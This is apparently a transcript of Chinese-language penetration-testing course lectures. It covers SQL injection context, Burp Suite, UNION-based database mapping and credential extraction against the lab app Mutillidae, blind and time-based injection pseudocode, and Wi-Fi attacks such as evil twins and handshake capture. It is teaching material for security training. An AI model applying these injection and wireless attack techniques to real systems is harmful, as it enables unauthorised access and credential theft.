如果一个Web程序员试图通过过滤用户响应中的单引号来阻止简单的SQL注入,他可能犯了一个错误,因为这仍然可能容易受到其他类型的注入攻击。
因此,就像黑客或渗透测试人员一样,程序员也需要了解页面上所有可能的上下文,以便编写安全的代码。通过使用独特的字符串,我们可以在复杂的HTTP或HTML(包括输入和输出)中进行搜索,找到“金丝雀”。
Burp Suite工具介绍
此时,我想简要介绍一下Burp Suite,这是一个位于浏览器和Web服务器之间的拦截代理。在Kali Linux中,你可以通过“应用程序” -> “Kali Linux” -> “Top 10 Security Tools” -> “Burp Suite”启动它。
这个工具允许你在请求离开虚拟机之前修改发送给Web服务器的内容,也可以在Web服务器返回的HTML被浏览器渲染之前查看它。
Burp Suite有几个标签页和子标签页。第一个要讨论的是Proxy子标签页。在这里,我们可以看到被Burp Suite拦截的消息。现在拦截是开启的,我们可以关闭它,再重新打开。如果我们现在浏览到Metasploitable 2,我们会看到那个GET请求被Burp Suite拦截了,我们可以将其转发到Web服务器。这是我们将从Web服务器得到的响应。
接下来是Target标签页。Target标签页会记录你访问过的所有页面(以黑色显示)。你未访问过但代表网页上锚点标签的页面以灰色显示。如果我们想实际检查并访问这些站点,这为我们提供了一种划定渗透测试范围的方法。我们可以右键点击一个站点,选择“Spider this host”来开始爬取。
关于Target标签页的另一点是,对于每个访问过的站点,你可以查看请求和响应。这个面板为你提供了访问站点的详细记录。
最后,Repeater标签页为我们提供了一种动态编辑POST和GET请求的方式。这样我们就不必反复回到浏览器输入文本,可以直接在这里进行编辑。事实上,你甚至可以创建一个脚本来自动化这个过程,从而实现一些渗透测试想法的自动化。
高级功能与注入点
接下来,我将讨论一些额外的截图,以演示Burp Suite中未在演示中涵盖的其他功能。
首先,在Target标签页的站点地图中,你可以看到一个URL列表。Burp Suite会记录所有发送到URL的GET请求、爬取的请求以及任何额外的手动请求,并捕获响应。即使拦截开关关闭,这些请求和响应在Target标签页上仍然可用。
过滤功能可以从Target标签页的站点地图标签页访问。只需右键点击过滤框。在我们的实验中,这不会起太大作用。但如果你正在爬取一个结构复杂、嵌套很多锚点标签的网站,这些设置有助于减少你需要查看的杂乱信息,例如,排除渗透测试范围之外的URL。
Repeater标签页已在演示中介绍,但我没有涵盖一个重要功能:你可以在Proxy页面拦截一个GET请求,然后右键点击拦截到的原始HTTP数据,选择“Send to Repeater”,将其发送到Repeater。
现在回到幻灯片,我将讨论Proxy原始数据标签页中的注入点。你可以看到参数被用红色高亮显示。你也可以选择“Params”标签页,Burp Suite会为你识别它们。它会提供变量类型、变量名、当前值,所有这些都可以在转发到Web服务器之前进行修改。这些就是注入点,你可以在这里插入字符,试图产生程序员未曾预料的结果。金丝雀通常会在GET请求中出现在这里。
顺便说一下,你可以在拦截页面上右键点击,在GET和POST之间切换。如果你这样做,你会看到GET和POST在结构上的差异。如果你试图通过URL而不是表单本身注入参数,理解这一点很重要。如果一个请求以POST方式发送,你将无法通过URL传递参数。因此,你需要一个代理来进行更改。我们将在讨论反射型跨站脚本时再次讨论这个问题,在那里你可能想使用电子邮件将脚本作为URL的一部分注入。当网页生成POST请求时,这将不起作用。
编码与注入构造
当你在Burp Suite捕获的请求中键入注入载荷时,你还可以要求Burp Suite在你键入时对新字符进行编码。其原理是,Web服务器会寻找两类基本字符:用于HTTP请求的字符和用于载荷的字符。当注入被添加到载荷中时,它可能包含被Web服务器解析为HTTP的字符。结果,字符串被破坏,注入失败,或者你从Web服务器得到一个错误的请求错误。
编码的目的是确保注入载荷中的字符不会被解析为HTTP。基本上,编码消除了HTTP和SQL之间的任何重叠。因此,Web服务器中的PHP解析器获得整个字符串,载荷对其进行解码,并将其完整地发送到数据库。在Proxy页面,右键点击捕获请求周围的空白区域,选择“URL-encode as you type”。当你修改Burp Suite中的请求时,字符将在你键入时被正确编码。
直接与间接注入
表单数据被插入到SQL模板中的方式有多种,程序员如何编写这个模板将决定如何构造注入。幻灯片上显示的术语——直接注入和间接注入——捕捉了这个概念。
一个关键点是,SQL不要求数值周围有引号,但如果应用程序没有对输入数据实施限制,这个参数就有被利用的潜力。
在第一种情况下,如果模板中没有引号,任何非数字的字符串字面量都将成为SQL语句的一部分,并且不会被数据库视为字面量,从而导致直接注入。这并不意味着非数字的值会被放入EMP_ID,而是引号的缺失允许查询本身被更改。
在第二种情况下,如果模板中有引号,只要我们能够突破模板的束缚,注入仍然有效。通过理解上下文并以语法正确的方式匹配模板中的两个单引号,我们可以实现这一点。
关于上下文的最后思考
我们可以通过精心构造前缀和后缀来匹配预期的引号,从而突破模板;或者我们可以尝试只处理第一个输入参数的前缀,并使用注释语句来绕过语句的其余部分。匹配的方式更优雅,但如果我们无法获得提供良好上下文描述的错误消息,尝试注释可能是唯一的选择。
SQL注入或任何类型的注入,都依赖于理解插入的字符到达Web服务器时将“着陆”在何处。它们着陆的位置将决定Web服务器在将其转发给后端应用程序(对于SQL,当然是数据库)之前如何解析它们。异常字符生成的错误消息有时会揭示有关上下文的信息。
一般来说,当你没有任何上下文信息时,你必须利用你对SQL的了解以及表单页面上的参数标识符来尝试猜测上下文可能在哪里。例如,当登录页面要求输入姓名时,很可能它会被单引号括起来,但我们不知道PHP程序将如何解析它。如果代码编写得当,所有的注入尝试都不应允许你突破上下文。如果你能轻易突破,那么映射数据库就相对容易,我们将在下一节看到这一点。

本节课中我们一起学习了内容安全研究的核心,重点是理解并利用SQL注入的上下文。我们探讨了如何使用“金丝雀”字符串探测上下文,介绍了Burp Suite这一强大工具来拦截、修改请求并分析响应,从而识别注入点。我们还区分了直接注入和间接注入,并强调了通过编码和精心构造前缀/后缀来适应不同上下文的重要性。掌握这些概念是进行有效且符合道德的渗透测试的关键步骤。
044:数据库映射技术 🗺️
在本节课中,我们将学习如何利用SQL注入漏洞来映射和探查后端数据库的结构与内容。我们将以Mutiliday这个易受攻击的Web应用为例,演示从发现漏洞到提取数据库表名、列名乃至用户凭证的完整过程。
上一节我们介绍了SQL注入的基本原理,本节中我们来看看如何利用这些原理进行系统性的数据库信息收集。

发现注入点与错误信息利用
Google Hacking等技术可以帮助我们识别背后有数据库的Web服务器。下一步是访问目标网站并寻找注入向量。
在Mutiliday案例中,我们发现了一个向账户持有者返回用户信息的表单。然而,我们并非账户持有者。我们该怎么办?又能发现什么?
这是一个Mutiliday用户信息界面的截图。

如前所述,我们可以从尝试一个“金丝雀”值(如“Mike”)开始。但即使Mike没有账户,我们也不会得到有用信息。查询语法是正确的,因此错误信息仅提示账户未被识别,并未泄露任何内容。

然而,我们讨论过在SQL查询上下文中可能引发错误的字符,例如不匹配的括号等。如果在Mutiliday中尝试输入一个单引号,数据库会返回一个错误信息,该信息揭示了用户输入的正确语法。
数据库本意是帮助我们登录,但它泄露了过多信息。在实际场景中,程序员绝不应允许这种情况发生。现在,我们对如何继续操作有了一些思路。
构造SQL注入语句
根据之前的讨论,现在我们知道了可以构造一个注入语句:以一个单引号开始,后面跟上注入内容,然后是空格、双减号、空格,以注释掉该行的其余部分。
' [注入内容] --


如果不真正理解上下文,也能轻松完成实验作业,但这是错误的。你需要能够回答这两个问题:第一,应用程序暴露SQL查询有何价值?第二,我们如何利用该信息来操纵查询字符串以产生观察到的结果?
Web应用本不应暴露查询,但当它暴露时,我们就获得了大量关于查询字符串应为何样的信息。一旦知道这一点,我们就可以构造程序员未曾预料需要解析的字符串,而这些精心构建的字符串将提供关于后端数据库的重要信息,攻击者或渗透测试员可以利用这些信息获取更多细节。


提醒:如果你忘记在注入后加上“空格、双减号、空格”,你的注入将会失败,你会感到非常沮丧。

利用UNION查询确定列数
SQL UNION操作符用于合并两个或多个SELECT语句的结果集。然而,UNION操作失败,除非两个SQL响应的字段数量相同,并且列的数据类型匹配。如果满足这两个条件,UNION将返回第一个查询的所有记录加上第二个查询的所有记录。
一个重要的概念是关于NULL字面量。由于NULL值具有“任何”数据类型,如果两个响应中的字段数量相同,NULL将始终允许UNION操作成功。

这是本次讨论中将使用的Mutiliday用户信息界面。程序员的意图是用户输入用户名和密码,提交表单信息后,获取用户账户的详细信息。

注意:Microsoft PowerPoint倾向于将双连字符转换为一个长破折号。因此,当你在幻灯片上看到这种情况时,请记住注释是双连字符。
从之前收到的错误信息中,我们知道可以注入UNION语句。如何利用它来获取后端数据库的信息?

由于NULL可以与任何数据类型进行UNION操作,我们可以从一个NULL开始进行UNION注入。我们得到了一个语法错误,因为字段数量与包含用户信息的表中的字段数量不匹配(我们尚不知道,但很可能这是用户表)。实际上,当你尝试1、2、3、4个NULL时,都会得到语法错误。但当你为UNION输入5个NULL时,你会得到返回信息而不是错误。
这再次奏效,因为NULL数据类型可以与任何类型进行UNION。但如果两个查询结果中的列数不同,你会得到错误。因此,当我们没有收到错误时,NULL的数量就与包含用户信息的表中的列数匹配。现在,我们知道了用户信息表中的列数,但其他信息知之甚少。我们该如何继续?
识别可返回数据的列
考虑到整数1可以转换为大多数数据类型,它很可能与UNION中的数据类型匹配。

因此,我们可以尝试在注入中用1代替NULL,看看Web应用是否会在选中的记录中返回它。如果我们尝试在第一个列中插入1,没有任何返回。我们并不真正知道这意味着什么或如何解释它。
然而,如果我们尝试在第二列中插入1,我们看到它被作为用户名返回。现在我们知道,如果能在UNION注入中注入一些SQL函数调用请求,我们或许能够获取额外信息。在实验中操作时,你也应该检查其他列,看看它们的行为如何。

利用UNION查询获取数据库信息
我们知道UNION查询有效,并且知道第二列将作为用户名返回。那么,我们如何获取关于数据库的额外信息?
我们可以尝试version()函数调用,并返回PHP版本号。Mutiliday已经在正常显示中提供了该信息,但Web服务器通常不会也不应该这样做。在某些情况下,可能需要在注入中添加“version returned as username”部分,但对Mutiliday则不需要。

类似地,注入database()函数调用将返回数据库版本。请注意,在这种情况下,用户名的数据类型是字母数字型,因此与UNION关联的数据类型约束得到满足,信息得以返回。
这种注入可能并非在所有列中都有效。例如,如果数据类型是整数型,它很可能会失败。你可以在第一列尝试一下,看看会发生什么。

获取数据库中的表名
至此,我们知道了包含用户信息的表有多少列,但我们不知道表名。有没有办法修改注入来获取表名?答案是肯定的,并且继续使用UNION注入。
在MySQL命令行界面中,输入SELECT table_name FROM information_schema.tables会得到相同的结果。你可以看到命令行输入与我们在易受攻击列中用table_name替换NULL的注入之间的相似性。
这种注入的问题是,它会给出MySQL中所有已建立数据库的所有表名。因此,下一步是将表列表限制在目标数据库中。我们已经确定数据库是os10,因此我们可以使用WHERE语句在database()或os10上进行约束。
该查询将把响应限制在我们正在攻击的数据库中的表,而不是MySQL中创建的所有其他数据库。我们开始看到,掌握一些SQL查询专业知识会使SQL注入变得容易得多。这是一个重要的观点:如果你想对数据库Web应用进行渗透测试,或者想保护数据库免受黑客攻击,你必须理解结构化查询语言。


分析获取的表名
以下是最后一次注入返回的os10数据库中的表。仅凭名称,我们就可以猜测用户名和密码可能存储在哪里。
如果你使用的是最新版本的Mutiliday(其数据库是nowasp而非os10),你将得到这些表以及其他7个表。无论哪种情况,你都可以在启动MySQL并使用os10或nowasp数据库后,通过MySQL命令行界面输入SHOW TABLES;来确认表名。
现在,我们对accounts表感兴趣,因为我们相当确定它有五列,并且可能包含用户名和密码。然而,此时我们仍然不知道列名,也无法确认表的任何内容。当你在实验中思考这些关于accounts表的想法时,你将被要求对accounts表和credit_cards表应用相同的技术。


另一种策略可能是尝试猜测表名,我们可以做出像这里展示的合理推测,但我们可能永远猜不到用户表的名字是accounts。与其猜测,SQL注入帮助我们更有条理。


获取表的列名
我们知道了表名、列数和数据库名,但如何获取列名?我们可以使用相同的注入技术,但专注于列而不是表。再次,你明白为什么掌握一些SQL和表结构知识是有帮助的。
与表类似,列名注入将返回所有列名。然而,列名将按照它们在模式中出现的顺序返回。由于之前的注入显示accounts是模式中的第一个表,并且我们知道它只有五列,数据库将返回我们感兴趣的列名。


提取最终数据:用户名和密码
现在,我们看到accounts表包含username和password列。密码列通常包含密码哈希值,但Mutiliday省略了这种复杂性,以便我们更专注于Web服务器和数据库。我们只需要担心像John the Ripper这样的工具来处理哈希。
最后,使用不同SQL表达式的相同UNION注入将返回用户名和密码。我之前提到过GROUP_CONCAT作为一种同时获取多条信息的技术。在这种情况下,我们将首先用列分隔符连接用户名和密码,以使响应更易于阅读。


我们得到了用户和密码。这与我们在命令行界面输入SELECT username, password FROM accounts;得到的响应相同。再次强调,密码没有经过哈希处理。如果它们被哈希了,下一步将是尝试密码破丨解丨器或对哈希进行字典攻击。


总结与下节预告
总结一下,鉴于Mutiliday易受注入攻击,我们讨论了如何恢复数据库名称、数据库中所有表的名称、所有表的所有列名。一旦我们识别出用户表,就能获取所有用户名和密码。相同的技术可以用于其他表,例如恢复信用卡号码或姓名、地址和社会安全号码等个人身份信息。
在下一个子模块中,我们将讨论盲SQL注入。这适用于Web服务器易受攻击但返回信息量非常有限的情况。有必要逐位收集信息片段。从某种意义上说,这是一种更暴力的方法,因为我们尝试字母表中的所有字母,逐个字符地恢复表名、列名或用户名。


本节课中我们一起学习了如何利用SQL注入漏洞进行系统的数据库映射,从确定列数、识别有效列,到获取数据库、表、列的详细信息,最终提取敏感数据。掌握这些技术对于理解数据库安全漏洞的本质至关重要。
045:盲注SQL攻击 🕵️
在本节课中,我们将要学习一种特殊的SQL注入技术——盲注SQL攻击。当目标数据库服务器不像Mutillidae那样直接返回大量信息时,盲注为我们提供了一种可行的攻击思路。
概述
盲注SQL攻击之所以被称为“盲注”,是因为攻击者无法从数据库的响应中直接看到有价值的信息或具体的查询结果。即使数据库存在注入漏洞,我们之前讨论的传统注入方法也可能失效。本节将介绍盲注的工作原理、实施方式以及相关的自动化工具。
什么是盲注SQL攻击?
上一节我们介绍了基于错误信息的SQL注入。本节中我们来看看,当服务器不直接返回数据时,攻击者该如何操作。
盲注SQL攻击的工作方式不同,它基于服务器对特定请求的响应来推断信息。攻击者精心构造请求,使得每次响应只泄露一点信息。这个过程有时被描述为:通过询问一系列“是/非”问题,来获取一个更复杂、更长的答案。

服务器可能通过几种方式回答这些“是/非”问题:
- 它可能返回一个错误信息,也可能不返回。
- 另一种方法是引入一些会减慢或加快服务器响应的注入语句,以此来收集信息位。
虽然接下来会有一些例子,但这是一个非常耗时的过程。收集到的信息可能是一个字符一个字符地获取。由于信息是逐位累积的,注入请求必须为收集到的每一位信息进行修改。例如,为了推断一个用户名中某个字符的相关性,可能需要提交26个请求(对应26个字母)。为了避免这种繁琐的工作,已经开发出一些工具来自动化推理和修改问题。在本模块的实验中,我们将使用工具SQLmap。
盲注攻击示例

以下是盲注SQL攻击可能的工作方式示例。
这个注入语句遍历用户表,检查每个用户名的第一个字符是否匹配字母“A”。它统计匹配的数量。如果有一个或多个匹配(即数量大于0),则返回一个错误,因为 0 != 1。如果没有找到任何以“A”开头的名字,那么 0 = 0,不会生成错误。
SELECT COUNT(*) FROM users WHERE name LIKE 'A%';
IF (COUNT(*) > 0) THEN RAISE ERROR;
一旦你找到了用户名的第一个字符,你就继续处理第二个字符,使用稍微修改的注入语句来捕获第二个字符,依此类推。最终,你将获得数据库中一个用户的完整名称。随着这个过程的继续,有可能获取所有用户的名称。
当然,这种技术不仅适用于用户表和用户名。它对所有表都有效。

盲注攻击的实践过程

如果你开始对Mutillidae的账户表进行盲注SQL攻击,你可以看到为了提取出“admin”这个名字所需要经历的一系列注入。在这个例子中,你会在第一次注入时识别出“A”,在第五次注入时识别出“D”,并且需要13次以上的注入来捕获“M”(因为M是字母表中的第13个字母),等等。显然,这是一个耗时、繁琐但有效的过程。
在前面的例子中,我们知道了用户表的名称,但我们是如何获取它的呢?这张幻灯片展示了一些可以用来捕获信息的盲注语句,这些信息在之前Mutillidae数据映射课程中讨论过。
这里显示的第一个注入,可以获取表名。在OWASP 10的案例中,你可以很容易地挑出用户表。对于更复杂的数据库,我们可能需要进行额外的工作。例如,我们可能必须找出数据库中每个表的列名,直到找到一个看起来可能包含用户列表的列。
幻灯片上的另外三个注入分别可以获取数据库的名称、用户表中的列名以及用户表中的用户。然而,在每种情况下,信息都是逐位捕获的,而不是通过更直接的方法(通过单个查询就给出所有信息)。
基于时间的盲注攻击

在这种伪代码中,真/假表达式提出了真/假问题,数据库提供了一个盲注SQL答案,但真/假检查使用了IF语句,这允许在答案为真和答案为假时应用不同的约束。例如,我们可以在答案为真时减慢查询响应速度,在答案为假时不进行任何操作。这为盲注引擎提供了另一种确定问题答案的方法。如果数据库对模式匹配问题的响应方式不允许基于视觉逐位推断,这种方法就会很有用。

sleep函数是一个SQL函数,它会让进程休眠5秒,从而延迟响应。这里我们看到了更多细节,展示了时间攻击可能如何工作。
IF (SUBSTRING(user_password, 1, 1) = 'A') THEN SLEEP(5);
如果用户密码字符串的第一个字符是大写字母A,查询将休眠5秒。如果不是A,响应会立即返回。因此,时间可以以与之前利用错误信息来慢慢获取密码哈希相同的方式被利用。再次说明,在Mutillidae的案例中,密码是明文存储的,但在正常情况下,你将不得不破解密码。

总结与延伸

本节课中我们一起学习了盲注SQL注入。它提供了一种在注入无法一次性获取所有信息时,逐字符披露信息的方法。本讲座没有详细讨论SQLmap,但它是一个盲注SQL注入工具,你将在针对Mutillidae的实验中学习使用它。
本部分的最后讨论将向你介绍一些针对我们讨论过的三种Web漏洞的OWASP缓解指南。之后将简要讨论用于查找Web服务器上运行的应用程序中漏洞的Web应用扫描器。
漏洞缓解与扫描工具
花时间回顾这三个OWASP速查表是值得的,因为它们提供了如何防御SQL注入、跨站脚本和跨站请求伪造的指导。

本模块的实验要求你对Mutillidae应用程序运行Web应用扫描器。你不必将这些结果作为作业提交,但需要在你的渗透测试报告中包含这些扫描结果。别忘了做这件事。

有许多Web应用扫描器试图识别漏洞。你可能有一个喜欢的工具,欢迎使用它,但我推荐OWASP ZAP,因为它查找的是OWASP Top 10漏洞,而Mutillidae正是被设计成包含这组漏洞的。也就是说,Kali中还有其他可用的工具,包括W3AF和Vega。我两个都试过,效果都不太好。事实上,当我两次尝试使用Vega时,扫描到一半它就停止了扫描。这结果是浪费时间。尝试这些工具看看它们的行为方式是值得的,但我怀疑它们仍然不可靠,不值得你花太多时间。
这是OWASP ZAP的启动界面。你基本上只需要给它一个URL(本例中是Mutillidae的路径)并开始扫描。在下方面板中,你可以看到OWASP ZAP开始时发送的一些GET请求以及返回的内容。


请注意,在我的环境中,完整的报告运行了7个小时。这是一个示例输出。你可以看到有超过2000个警报,其中69个被认为是高风险。由于我运行这份报告有一段时间了,你的结果很可能不同。这是一个被识别出的跨站脚本高危漏洞。
这是一个SQL注入的高危漏洞。
有趣的是,当我运行它时,没有发现CSRF漏洞。首先,这告诉我们扫描器并不完美。我想人们可能会怀疑这一点,但在编写我们的渗透测试报告时,我们可能会忘记这一点,并过于看重扫描结果。第二点是,渗透测试人员需要多种工具,以确保渗透测试结果的全面性。
课程总结
本节课中我们一起学习了Web利用模块。我们以较高的层次涵盖了SQL注入、跨站脚本和跨站请求伪造,然后深入探讨了SQL注入。虽然讲座没有深入探讨XSS或CSRF,但实验会要求你去做。我们还花了一些时间讨论注入上下文。我们专注于SQL注入,但上下文的概念以及你的注入将落在何处,是涵盖任何类型注入攻击的关键思想。

最后,我们讨论了盲注SQL注入,这是一种在系统未提供足够反馈、使得使用更标准的技术不可行时所使用的暴力技术。我们以对Web应用扫描器的非常简要的讨论作为结束,而扫描整个计算机将是下一个模块的主题。
046:无线网络渗透 🛰️
在本节课中,我们将学习无线网络(Wi-Fi)安全与渗透测试的基础知识。课程将重点介绍针对WEP和WPA2等加密协议的攻击原理,并概述多种常见的Wi-Fi威胁场景。通过学习这些内容,你将理解无线网络中的关键弱点以及攻击者可能利用的途径。

无线网络攻击概述 📡

上一节我们介绍了课程的整体目标,本节中我们来看看针对无线网络的各种攻击类型。以下幻灯片总结了恶意攻击者可能对Wi-Fi网络使用的几种主要攻击方式。
不安全的接入点攻击 🔓

一个位于安全区域内部的不安全接入点,可能允许恶意客户端连接。这种情况可能由接入点配置错误导致,也可能是因为使用了WEP加密,或者虽然使用了强WPA加密但密码短语过于简单。这些正是我们渗透测试需要重点关注的地方。根据内部网络的配置方式,Wi-Fi接入点通常会将攻击者置于防火墙之后,因此对这些设备进行妥善管理至关重要。
拒绝服务攻击 ⛔
主要有两种拒绝服务攻击类型,它们都难以防御。在某些情况下,无线入侵检测系统(WIDS)或无线入侵防御系统(WIPS)可以帮助识别异常传输或DDoS攻击,但追踪攻击者很可能需要使用频谱分析仪并进行物理空间管控。然而,这可能是最佳策略,因为你无法真正阻止干扰攻击。
以下是两种主要的DoS攻击方式:

- 解除认证攻击:通过发送解除认证帧,使合法客户端被迫重新连接。持续进行解除认证攻击会导致拒绝服务。Wi-Fi研究人员正在研究针对此类攻击的检测算法,但目前没有有效的缓解措施。
- 帧泛洪攻击:用探测请求帧或关联请求帧淹没接入点。这将阻止其他客户端连接,甚至可能导致接入点崩溃。MAC地址过滤可能有助于应对帧泛洪攻击,但随着白名单的增长,这不是一个可扩展的解决方案,在大型企业中帮助不大。更快的接入点处理器和更大的内存来管理帧处理时间,也有助于应对泛洪攻击。

恶意接入点攻击 🕵️
一个好的无线入侵检测系统应该能轻易检测到连接到网络中的恶意接入点。但是,如果没有安装此类系统,且恶意攻击者能够物理接触到网络,那么插入并隐藏一个小型接入点(例如树莓派)并不需要太长时间。
邪恶双胞胎与桥接攻击 👥
许多学生将“邪恶双胞胎”项目作为课程项目。这类攻击并不太复杂。像Airbase-ng这样的接入点软件可以很容易地加载到树莓派上。攻击者创建一个看起来合法的无线网络,只需给恶意接入点设置与场所内Wi-Fi网络相同的SSID和BSSID即可。

以下是两种相关的攻击场景:
- 邪恶双胞胎:恶意接入点可以配置为将流量中继到合法的接入点,同时监控受害者的凭据;或者在获取用户名和密码后,直接声称系统暂时不可用。一个关键问题是,邪恶双胞胎应该保持在线多久?如果设计不周,用户可能很快就会发现异常,从而导致密码被更改。
- Wi-Fi到LTE的桥接攻击:图中描绘的另一种攻击是将Wi-Fi桥接到LTE数据外泄设备(如手机)。但这更像是一种内部攻击,因为来自外泄设备的Wi-Fi访问很可能是合法的。
学习资源与标准 📚

这是一份关于Wi-Fi标准和攻击的资源列表。我在准备本次讲座时参考了其中大部分内容。虽然列表很长,但我想重点强调IEEE 802.11标准。如果你想理解协议本身或思考如何攻击协议,标准文档是最好的起点。
这些文档通常篇幅很长、卷帙浩繁,因此阅读它们可能不会直接带来灵感,但这正是方法论黑客通常开始的地方。花时间熟悉它们的结构以及如何从中提取信息是值得的。因此,有一个作业题目会要求你查阅标准文档,因为所要求的信息可能在其他地方找不到,除非你的谷歌搜索运气特别好。
无线网络拓扑结构 🌐
无线网络有两种基本拓扑结构:基础架构模式和自组织模式。
在基础架构模式下,访问通过无线接入点进行协调,该接入点配有DHCP服务器,为网络中所有请求访问的设备提供IP地址。具有单个接入点的基本服务集是基础架构模式配置的一个例子。典型的家庭网络就是这样设置的。
扩展服务集描述了具有多个接入点的配置,这些接入点具有相同的SSID,并在各个BSS之间桥接流量。这通常出现在拥有大型园区网络的组织中。从一个接入点到另一个接入点的桥接通常通过有线连接完成,尽管也有无线桥接的例子。在OSI协议栈的链路控制层,ESS表现为一个单一的BSS。
在自组织模式下,架构被描述为独立基本服务集。这是一种临时建立的点对点配置。如今很少见到,因为它扩展性不好,而且Wi-Fi已经无处不在。但在过去,这种配置提供了一种创建自发无线局域网的方法,例如用于酒店异地会议。这基本上是一组无线节点在没有DHCP的情况下进行点对点通信。从组中选出一个节点作为缺失接入点的代理,通常是启动自组织网络的那个工作站。
在Windows XP时代,“free public wifi”看起来像一个接入点的名称,但它通常是一个自组织网络。换句话说,当用户选择它时,他/她连接的不是路由器或热点,而是直接连接到附近其他人的电脑,尽管它实际上并不提供互联网访问。由于Windows XP的一个漏洞,这个网络甚至在全国范围内(包括飞机上)传播。其工作原理如下:
当运行旧版本XP的计算机无法找到任何其收藏的无线网络时,它会自动创建一个与其上次连接的网络同名的自组织网络,在本例中就是“free public wifi”。该新自组织网络范围内的其他计算机会看到它,诱使用户连接。还有其他类似的僵尸网络。如果你年纪够大,可能见过一些,比如“linksys”、“hpsetup”、“tmobile”或“default”。无意中创建或连接到自组织网络本身并不有害,尽管它像病毒一样传播。然而,它确实为黑客提供了一个接入点来查看用户的文件。
从Windows 8.1开始,微软减少了对自组织Wi-Fi网络的支持。因此,Windows 8.1不会在可用无线接入点列表中检测或显示自组织网络。Windows 10的行为略有不同,它会检测并显示可用的自组织网络,但在尝试连接时,会失败并提示“无法连接到网络”错误。
扩展服务集示例 🔗

这是一个典型的连接ESS中两个接入点的有线分发系统。如果你在家里的第二个接入点上尝试这样做,通常会关闭DHCP并将其置于桥接模式。当我的Verizon Fios路由器连接表太小,无法支持所有需要连接的设备时,我实际上这样做过一段时间。

独立基本服务集示例 🤝
这是一个典型的IBSS。一群在没有Wi-Fi的环境下的人,希望在他们笔记本电脑之间共享信息。他们商定会议将使用的SSID,并将其配置到笔记本电脑中,指定为IBSS操作。
当第一台笔记本电脑启用时,它开始寻找包含目标SSID的信标。它会忽略来自其他接入点的信标,只寻找来自IBSS模式下其他设备的信标。如果它没有看到任何信标,它会意识到自己是第一个到达的,并开始自己发送信标。
第二台打开的笔记本电脑接收到来自第一台笔记本电脑的正确SSID信标,并同步其计时,以便它们可以共享消息和文件。
当任何设备想要向另一台设备发送帧时,它只需以目标设备的MAC地址作为目的地进行传输。由于没有关联过程,设备可以随意加入或离开,无需任何“hello”或“goodbye”。这使得自组织网络非常不安全,因为任何人都可以嗅探到SSID并加入网络,除非参与者在会议开始时商定密码并对传输进行加密。但即使有密码,情况也很复杂,因为没有协调者,因此每台移动设备都必须独立阻止不受欢迎的新加入者,而且加密配置也很困难。

SSID与BSSID的作用 🏷️
发往无线局域网内设备的报文需要到达正确的目的地。即使存在重叠的无线局域网,SSID也能将报文保持在正确的WLAN内。然而,每个无线局域网内可能有多个接入点,因此必须有一种方法来识别这些接入点及其关联的客户端。这个标识符称为基本服务集标识符,它其实就是接入点的MAC地址,包含在所有无线报文中。当你想在桥接的BSS中的客户端之间进行通信时,BSSID就发挥作用了,这些客户端必须具有相同的SSID,但连接的是不同的接入点。
总结 📝


在本节课中,我们一起学习了无线网络的各种威胁和典型配置。我们探讨了不安全的接入点、拒绝服务攻击、恶意接入点、邪恶双胞胎等攻击场景,并了解了基础架构模式和自组织模式两种网络拓扑。接下来,我们将深入探讨Wi-Fi的认证机制。
047:Wi-Fi连接建立与认证机制 🔐
在本节课中,我们将要学习Wi-Fi网络连接的完整过程,特别是认证、关联和数据交换这三个核心步骤。我们将详细探讨从早期不安全的WEP协议到更安全的WPA/WPA2协议的演变,并了解企业级网络使用的802.1X认证框架。理解这些机制是分析无线网络安全性的基础。
标准连接的三步流程

Wi-Fi接入是一个三步流程:认证、关联和数据交换。随着社区发现WEP认证中的弱点,这一过程为提升安全性而显著演进,握手协议也变得更为复杂。本小节将讨论这些协议的细节。

标准802.11连接遵循三步流程:
- 认证:工作站向接入点证明身份。
- 关联:认证成功后,工作站与接入点建立正式连接。
- 数据交换:关联成功后,开始正常的数据传输。
认证的两种方式
上一节我们介绍了连接流程,本节中我们来看看认证的具体方式。认证是连接的第一步,主要有两种方法:开放式系统认证和共享密钥认证。
以下是两种认证方式的详细说明:

- 开放式系统认证:这意味着没有安全性。工作站可以发送其MAC地址,或者根据实现方式仅发送空值。然而,这两种方法没有本质区别,因为MAC地址很容易被伪造。无论哪种情况,接入点总是返回认证成功消息。
![]()

- 共享密钥认证:这需要一个密钥,且接入点和工作站必须拥有相同的密钥。当工作站请求访问时,接入点发送一个128位的随机数。工作站使用密钥加密这个随机数并返回给接入点。接入点解密响应,并将结果与原始128位数字进行比较。如果两者匹配,则工作站通过认证,关联过程开始。
![]()
由于接收到的帧中包含工作站的MAC地址,接入点使用该MAC地址作为关联标识符。这是一个重要的点,因为MAC地址允许工作站保持与接入点的关联。因此,如果你想启动嗅探器来捕获握手期间交换的数据包,你需要强制工作站与接入点解除关联。实验作业的第一部分就是确定解除关联帧的构成要素。
WPA认证机制
了解了基础的WEP认证后,我们转向更安全的WPA认证。WPA认证支持两种方法:一种是使用预共享密钥,另一种基于可扩展认证协议。

以下是WPA认证的两种方法:
-
预共享密钥:这种方法比WEP中使用128位随机数的交换要复杂得多。它涉及多个密钥,区分它们很重要。
- 密码短语:长度在8到63个字符之间,常被称为预共享密钥。它在工作站和接入点之间共享。
- 成对主密钥:这是一个256位的密钥,使用密码短语、SSID通过密钥派生函数计算得出。公式可表示为:
PMK = KDF(PSK, SSID)。 - 成对临时密钥:这是一个512位的密钥,由PMK和其他几个变量(包括一个种子)计算得出,所有输入都用于伪随机数生成器。
认证过程始于工作站向接入点请求开放式认证。在关联阶段,双方同意使用时态密钥完整性协议方法来计算PMK和PTK。计算PTK的关键在于四次握手期间的数据交换。实验作业之一就是捕获四次握手,以支持对认证机制的字典攻击。
![]()

-
企业级认证:这种方法使用一些新术语,并基于可扩展认证协议,通常与一个控制认证的RADIUS服务器结合使用。
![]()
请注意,在示意图中,红色的EAP交换发生在工作站和接入点之间,以及接入点和认证服务器之间。但是,使用了不同的封装协议:工作站使用EAPOL,服务器使用RADIUS。EAPOL规范是802.1X。
企业级WPA与802.1X框架
上一节提到了企业级WPA认证,本节我们将深入其核心框架——802.1X。在企业WPA认证交换中,参与者的名称与“工作站”和“接入点”不同。

以下是企业认证中的关键角色:
- 申请者:希望连接到无线局域网客户端设备。“申请者”也常用来指代运行在客户端上、向认证器提供凭证的软件。
- 认证器:网络设备,如以太网交换机或无线接入点。
- 认证服务器:通常是运行软件的主机,支持RADIUS和EAP认证协议,并做出认证批准决定。
![]()
